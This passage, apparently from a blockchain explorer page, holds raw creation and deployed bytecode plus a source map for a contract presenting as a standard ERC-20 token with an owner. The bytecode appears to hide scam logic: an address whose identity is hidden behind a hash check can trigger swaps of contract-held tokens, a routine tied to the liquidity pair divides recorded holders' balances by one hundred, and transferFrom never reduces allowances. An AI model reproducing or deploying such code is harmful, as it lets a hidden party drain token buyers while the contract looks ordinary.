6000611f2982611c0d565b9150611f3483611c0d565b925082821015611f4757611f46611e2d565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fae602583611afa565b9150611fb982611f52565b604082019050919050565b60006020820190508181036000830152611fdd81611fa1565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612040602383611afa565b915061204b82611fe4565b604082019050919050565b6000602082019050818103600083015261206f81612033565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506120e381611be1565b92915050565b6000602082840312156120ff576120fe611baa565b5b600061210d848285016120d4565b91505092915050565b6000819050919050565b6000819050919050565b600061214561214061213b84612116565b612120565b611c0d565b9050919050565b6121558161212a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61219081611bcf565b82525050565b60006121a28383612187565b60208301905092915050565b6000602082019050919050565b60006121c68261215b565b6121d08185612166565b93506121db83612177565b8060005b8381101561220c5781516121f38882612196565b97506121fe836121ae565b9250506001810190506121df565b5085935050505092915050565b600060a08201905061222e6000830188611cb9565b61223b602083018761214c565b818103604083015261224d81866121bb565b905061225c6060830185611d63565b6122696080830184611cb9565b9695505050505050565b600061227e82611c0d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036122b0576122af611e2d565b5b600182019050919050565b60006040820190506122d06000830185611d63565b6122dd6020830184611d63565b9392505050565b60008160601b9050919050565b60006122fc826122e4565b9050919050565b600061230e826122f1565b9050919050565b61232661232182611bcf565b612303565b82525050565b60006123388284612315565b60148201915081905092915050565b600061235282611c0d565b915061235d83611c0d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561239657612395611e2d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006123db82611c0d565b91506123e683611c0d565b9250826123f6576123f56123a1565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061245d602183611afa565b915061246882612401565b604082019050919050565b6000602082019050818103600083015261248c81612450565b905091905056fea264697066735822122083356af7333f87bf6e66daadf093edbb604f7bfde8e569f996f7dfc647488ed664736f6c634300080d0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c80636bc87c3a116100b85780638da5cb5b1161007c5780638da5cb5b1461033257806395d89b4114610350578063a457c2d71461036e578063a9059cbb1461039e578063b2dcf5da146103ce578063dd62ed3e146103ec57610137565b80636bc87c3a1461029e57806370a08231146102bc578063715018a6146102ec5780637d1db4a5146102f657806382247ec01461031457610137565b8063313ce567116100ff578063313ce567146101f657806332424aa31461021457806339509351146102325780633eaaf86b1461026257806351fde4bb1461028057610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a8578063283f7820146101d8575b600080fd5b61014461041c565b6040516101519190611b88565b60405180910390f35b610174600480360381019061016f9190611c43565b6104ae565b6040516101819190611c9e565b60405180910390f35b6101926104cc565b60405161019f9190611cc8565b60405180910390f35b6101c260048036038101906101bd9190611ce3565b6104d6565b6040516101cf9190611c9e565b60405180910390f35b6101e061057e565b6040516101ed9190611cc8565b60405180910390f35b6101fe610584565b60405161020b9190611cc8565b60405180910390f35b61021c61058e565b6040516102299190611cc8565b60405180910390f35b61024c60048036038101906102479190611c43565b610594565b6040516102599190611c9e565b60405180910390f35b61026a610640565b6040516102779190611cc8565b60405180910390f35b610288610646565b6040516102959190611cc8565b60405180910390f35b6102a661064c565b6040516102b39190611cc8565b60405180910390f35b6102d660048036038101906102d19190611d36565b610652565b6040516102e39190611cc8565b60405180910390f35b6102f461069b565b005b6102fe6107d5565b60405161030b9190611cc8565b60405180910390f35b61031c6107db565b6040516103299190611cc8565b60405180910390f35b61033a6107e1565b6040516103479190611d72565b60405180910390f35b61035861080a565b6040516103659190611b88565b60405180910390f35b61038860048036038101906103839190611c43565b61089c565b6040516103959190611c9e565b60405180910390f35b6103b860048036038101906103b39190611c43565b6109d8565b6040516103c59190611c9e565b60405180910390f35b6103d66109f6565b6040516103e39190611cc8565b60405180910390f35b61040660048036038101906104019190611d8d565b6109ff565b6040516104139190611cc8565b60405180910390f35b60606005805461042b90611dfc565b80601f016020809104026020016040519081016040528092919081815260200182805461045790611dfc565b80156104a45780601f10610479576101008083540402835291602001916104a4565b820191906000526020600020905b81548152906001019060200180831161048757829003601f168201915b5050505050905090565b60006104c26104bb610a86565b8484610a8e565b6001905092915050565b6000600854905090565b60006104e3848484610c57565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061052d610a86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561057357600080fd5b600190509392505050565b600d5481565b6000600754905090565b60075481565b60006106366105a1610a86565b8484600360006105af610a86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106319190611e5c565b610a8e565b6001905092915050565b60085481565b600c5481565b600b5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106a3610a86565b73ffffffffffffffffffffffffffffffffffffffff166106c16107e1565b73ffffffffffffffffffffffffffffffffffffffff1614610717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070e90611efe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461081990611dfc565b80601f016020809104026020016040519081016040528092919081815260200182805461084590611dfc565b80156108925780601f1061086757610100808354040283529160200191610892565b820191906000526020600020905b81548152906001019060200180831161087557829003601f168201915b5050505050905090565b600081600360006108ab610a86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561092e57600080fd5b6109ce610939610a86565b848460036000610947610a86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c99190611f1e565b610a8e565b6001905092915050565b60006109ec6109e5610a86565b8484610c57565b6001905092915050565b60006002905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af490611fc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6390612056565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c4a9190611cc8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c9057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cc957600080fd5b610cd38383611186565b15610ce757610ce28183611224565b611181565b600e60149054906101000a900460ff16610d485780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d4757600080fd5b5b6000610d53846114ee565b6000610d5d61167e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610de05750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610e725750610dee61167e565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610e715750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f185750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f2a5750610f2884611821565b155b8015610f6257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f6c575080155b8015610f855750600e60149054906101000a900460ff16155b15610fce57610fb26064610fa4600d548661187690919063ffffffff16565b6118f090919063ffffffff16565b9150600954831115610fc357600080fd5b610fcd848461193a565b5b60008284610fdc9190611f1e565b905082600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461102d9190611e5c565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461107f9190611f1e565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111119190611e5c565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516111759190611cc8565b60405180910390a35050505b505050565b600061119182611821565b806111e55750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561121c57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61125130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610a8e565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156112b2576112b1612076565b5b6040519080825280602002602001820160405280156112e05781602001602082028036833780820191505090505b50905030816000815181106112f8576112f76120a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561139f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c391906120e9565b816001815181106113d7576113d66120a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000848660144261147c9190611e5c565b6040518663ffffffff1660e01b815260040161149c959493929190612219565b600060405180830381600087803b1580156114b657600080fd5b505af11580156114ca573d6000803e3d6000fd5b505050506000600e60146101000a81548160ff021916908315150217905550505050565b6114f661167e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361167b5760005b600f8054905081101561166b576115d0606460016000600f8581548110611555576115546120a5565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f090919063ffffffff16565b60016000600f84815481106115e8576115e76120a5565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061166390612273565b91505061152b565b50600f600061167a9190611a85565b5b50565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171191906120e9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561179a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117be91906120e9565b6040518363ffffffff1660e01b81526004016117db9291906122bb565b602060405180830381865afa1580156117f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181c91906120e9565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b82604051602001611858919061232c565b60405160208183030381529060405280519060200120149050919050565b600080830361188857600090506118ea565b600082846118969190612347565b90508284826118a591906123d0565b146118e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dc90612473565b60405180910390fd5b809150505b92915050565b600061193283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a22565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff1661195961167e565b73ffffffffffffffffffffffffffffffffffffffff1614611a1e57600f60405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b60008083118290611a69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a609190611b88565b60405180910390fd5b5060008385611a7891906123d0565b9050809150509392505050565b5080546000825560020290600052602060002090810190611aa69190611aa9565b50565b5b80821115611aeb57600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201611aaa565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b29578082015181840152602081019050611b0e565b83811115611b38576000848401525b50505050565b6000601f19601f8301169050919050565b6000611b5a82611aef565b611b648185611afa565b9350611b74818560208601611b0b565b611b7d81611b3e565b840191505092915050565b60006020820190508181036000830152611ba28184611b4f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611bda82611baf565b9050919050565b611bea81611bcf565b8114611bf557600080fd5b50565b600081359050611c0781611be1565b92915050565b6000819050919050565b611c2081611c0d565b8114611c2b57600080fd5b50565b600081359050611c3d81611c17565b92915050565b60008060408385031215611c5a57611c59611baa565b5b6000611c6885828601611bf8565b9250506020611c7985828601611c2e565b9150509250929050565b60008115159050919050565b611c9881611c83565b82525050565b6000602082019050611cb36000830184611c8f565b92915050565b611cc281611c0d565b82525050565b6000602082019050611cdd6000830184611cb9565b92915050565b600080600060608486031215611cfc57611cfb611baa565b5b6000611d0a86828701611bf8565b9350506020611d1b86828701611bf8565b9250506040611d2c86828701611c2e565b9150509250925092565b600060208284031215611d4c57611d4b611baa565b5b6000611d5a84828501611bf8565b91505092915050565b611d6c81611bcf565b82525050565b6000602082019050611d876000830184611d63565b92915050565b60008060408385031215611da457611da3611baa565b5b6000611db285828601611bf8565b9250506020611dc385828601611bf8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e1457607f821691505b602082108103611e2757611e26611dcd565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e6782611c0d565b9150611e7283611c0d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ea757611ea6611e2d565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ee8602083611afa565b9150611ef382611eb2565b602082019050919050565b60006020820190508181036000830152611f1781611edb565b9050919050565b6000611f2982611c0d565b9150611f3483611c0d565b925082821015611f4757611f46611e2d565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fae602583611afa565b9150611fb982611f52565b604082019050919050565b60006020820190508181036000830152611fdd81611fa1565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612040602383611afa565b915061204b82611fe4565b604082019050919050565b6000602082019050818103600083015261206f81612033565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506120e381611be1565b92915050565b6000602082840312156120ff576120fe611baa565b5b600061210d848285016120d4565b91505092915050565b6000819050919050565b6000819050919050565b600061214561214061213b84612116565b612120565b611c0d565b9050919050565b6121558161212a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61219081611bcf565b82525050565b60006121a28383612187565b60208301905092915050565b6000602082019050919050565b60006121c68261215b565b6121d08185612166565b93506121db83612177565b8060005b8381101561220c5781516121f38882612196565b97506121fe836121ae565b9250506001810190506121df565b5085935050505092915050565b600060a08201905061222e6000830188611cb9565b61223b602083018761214c565b818103604083015261224d81866121bb565b905061225c6060830185611d63565b6122696080830184611cb9565b9695505050505050565b600061227e82611c0d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036122b0576122af611e2d565b5b600182019050919050565b60006040820190506122d06000830185611d63565b6122dd6020830184611d63565b9392505050565b60008160601b9050919050565b60006122fc826122e4565b9050919050565b600061230e826122f1565b9050919050565b61232661232182611bcf565b612303565b82525050565b60006123388284612315565b60148201915081905092915050565b600061235282611c0d565b915061235d83611c0d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561239657612395611e2d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006123db82611c0d565b91506123e683611c0d565b9250826123f6576123f56123a1565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061245d602183611afa565b915061246882612401565b604082019050919050565b6000602082019050818103600083015261248c81612450565b905091905056fea264697066735822122083356af7333f87bf6e66daadf093edbb604f7bfde8e569f996f7dfc647488ed664736f6c634300080d0033

Deployed Bytecode Sourcemap

3928:5677:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5090:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5607:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5327:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9356:246;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4630:53;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5248:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4318:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6291:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4353:61;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4594:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4555:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5496:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3775:148;;;:::i;:::-;;4421:60;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4488;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3556:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5167:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6512:259;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9175:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5421:69;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6134:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5090:71;5129:13;5153:5;5146:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5090:71;:::o;5607:169::-;5690:4;5707:39;5716:12;:10;:12::i;:::-;5730:7;5739:6;5707:8;:39::i;:::-;5764:4;5757:11;;5607:169;;;;:::o;5327:88::-;5382:7;5400:12;;5393:19;;5327:88;:::o;9356:246::-;9460:4;9477:34;9487:4;9493:9;9504:6;9477:9;:34::i;:::-;9565:6;9530:11;:17;9542:4;9530:17;;;;;;;;;;;;;;;:31;9548:12;:10;:12::i;:::-;9530:31;;;;;;;;;;;;;;;;:41;;9522:50;;;;;;9590:4;9583:11;;9356:246;;;;;:::o;4630:53::-;;;;:::o;5248:73::-;5291:7;5309:9;;5302:16;;5248:73;:::o;4318:28::-;;;;:::o;6291:215::-;6379:4;6396:80;6405:12;:10;:12::i;:::-;6419:7;6465:10;6428:11;:25;6440:12;:10;:12::i;:::-;6428:25;;;;;;;;;;;;;;;:34;6454:7;6428:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6396:8;:80::i;:::-;6494:4;6487:11;;6291:215;;;;:::o;4353:61::-;;;;:::o;4594:29::-;;;;:::o;4555:32::-;;;;:::o;5496:105::-;5562:7;5580:9;:18;5590:7;5580:18;;;;;;;;;;;;;;;;5573:25;;5496:105;;;:::o;3775:148::-;3700:12;:10;:12::i;:::-;3689:23;;:7;:5;:7::i;:::-;:23;;;3681:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3882:1:::1;3845:40;;3866:6;::::0;::::1;;;;;;;;3845:40;;;;;;;;;;;;3913:1;3896:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3775:148::o:0;4421:60::-;;;;:::o;4488:::-;;;;:::o;3556:87::-;3602:7;3629:6;;;;;;;;;;;3622:13;;3556:87;:::o;5167:75::-;5208:13;5232:7;5225:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5167:75;:::o;6512:259::-;6593:4;6653:6;6618:11;:25;6630:12;:10;:12::i;:::-;6618:25;;;;;;;;;;;;;;;:31;6644:4;6618:31;;;;;;;;;;;;;;;;:41;;6610:50;;;;;;6671:70;6680:12;:10;:12::i;:::-;6694:4;6734:6;6700:11;:25;6712:12;:10;:12::i;:::-;6700:25;;;;;;;;;;;;;;;:31;6726:4;6700:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6671:8;:70::i;:::-;6759:4;6752:11;;6512:259;;;;:::o;9175:175::-;9261:4;9278:42;9288:12;:10;:12::i;:::-;9302:9;9313:6;9278:9;:42::i;:::-;9338:4;9331:11;;9175:175;;;;:::o;5421:69::-;5468:7;5486:1;5479:8;;5421:69;:::o;6134:151::-;6223:7;6250:11;:18;6262:5;6250:18;;;;;;;;;;;;;;;:27;6269:7;6250:27;;;;;;;;;;;;;;;;6243:34;;6134:151;;;;:::o;3051:98::-;3104:7;3131:10;3124:17;;3051:98;:::o;5782:346::-;5901:1;5884:19;;:5;:19;;;5876:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;5983:1;5964:21;;:7;:21;;;5956:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6066:6;6036:11;:18;6048:5;6036:18;;;;;;;;;;;;;;;:27;6055:7;6036:27;;;;;;;;;;;;;;;:36;;;;6104:7;6088:32;;6097:5;6088:32;;;6113:6;6088:32;;;;;;:::i;:::-;;;;;;;;5782:346;;;:::o;6777:1052::-;6890:1;6874:18;;:4;:18;;;6866:27;;;;;;6926:1;6912:16;;:2;:16;;;6904:25;;;;;;6944:16;6951:4;6957:2;6944:6;:16::i;:::-;6940:56;;;6970:24;6983:6;6991:2;6970:12;:24::i;:::-;6963:31;;6940:56;7010:10;;;;;;;;;;;7006:60;;7057:6;7038:9;:15;7048:4;7038:15;;;;;;;;;;;;;;;;:25;;7030:34;;;;;;7006:60;7076:17;7108:13;7116:4;7108:7;:13::i;:::-;7132:27;7169:15;:13;:15::i;:::-;7163:21;;:2;:21;;;:47;;;;;7188:16;:22;7205:4;7188:22;;;;;;;;;;;;;;;;;;;;;;;;;7163:47;7162:102;;;;7224:15;:13;:15::i;:::-;7216:23;;:4;:23;;;:47;;;;;7243:16;:20;7260:2;7243:20;;;;;;;;;;;;;;;;;;;;;;;;;7216:47;7162:102;7132:132;;7280:16;:22;7297:4;7280:22;;;;;;;;;;;;;;;;;;;;;;;;;7279:23;:48;;;;;7307:16;:20;7324:2;7307:20;;;;;;;;;;;;;;;;;;;;;;;;;7306:21;7279:48;:81;;;;;7332:28;7357:2;7332:24;:28::i;:::-;7331:29;7279:81;:104;;;;;7378:4;7364:19;;:2;:19;;;;7279:104;:131;;;;;7388:22;7387:23;7279:131;:146;;;;;7415:10;;;;;;;;;;;7414:11;7279:146;7275:308;;;7454:30;7480:3;7454:21;7465:9;;7454:6;:10;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;7442:42;;7517:12;;7507:6;:22;;7499:31;;;;;;7545:26;7560:2;7564:6;7545:14;:26::i;:::-;7275:308;7593:22;7627:9;7618:6;:18;;;;:::i;:::-;7593:43;;7675:9;7647;:24;7665:4;7647:24;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;7731:6;7713:9;:15;7723:4;7713:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;7695:9;:15;7705:4;7695:15;;;;;;;;;;;;;;;:42;;;;7765:14;7748:9;:13;7758:2;7748:13;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;7810:2;7795:26;;7804:4;7795:26;;;7814:6;7795:26;;;;;;:::i;:::-;;;;;;;;6855:974;;;6777:1052;;;;:::o;7835:235::-;7908:4;7943:35;7968:9;7943:24;:35::i;:::-;:76;;;;7991:16;:28;8008:10;7991:28;;;;;;;;;;;;;;;;;;;;;;;;;7943:76;7932:130;;;;;8053:9;8043:19;;:6;:19;;;7932:130;7925:137;;7835:235;;;;:::o;8686:483::-;8761:55;8778:4;8793:7;;;;;;;;;;;8803:12;8761:8;:55::i;:::-;8854:12;8827:9;:24;8845:4;8827:24;;;;;;;;;;;;;;;:39;;;;8877:21;8915:1;8901:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8877:40;;8946:4;8928;8933:1;8928:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;8972:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8962:4;8967:1;8962:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;9010:4;8997:10;;:17;;;;;;;;;;;;;;;;;;9025:7;;;;;;;;;;;:58;;;9084:12;9098:1;9101:4;9107:2;9129;9111:15;:20;;;;:::i;:::-;9025:107;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9156:5;9143:10;;:18;;;;;;;;;;;;;;;;;;8750:419;8686:483;;:::o;8226:291::-;8289:15;:13;:15::i;:::-;8281:23;;:4;:23;;;8277:233;;8326:9;8321:147;8345:9;:16;;;;8341:1;:20;8321:147;;;8417:35;8448:3;8417:9;:26;8427:9;8437:1;8427:12;;;;;;;;:::i;:::-;;;;;;;;;;;;:15;;;;;;;;;;;;8417:26;;;;;;;;;;;;;;;;:30;;:35;;;;:::i;:::-;8388:9;:26;8398:9;8408:1;8398:12;;;;;;;;:::i;:::-;;;;;;;;;;;;:15;;;;;;;;;;;;8388:26;;;;;;;;;;;;;;;:64;;;;8364:3;;;;;:::i;:::-;;;;8321:147;;;;8489:9;;8482:16;;;;:::i;:::-;8277:233;8226:291;:::o;8523:157::-;8570:7;8615;;;;;;;;;;;:15;;;:17;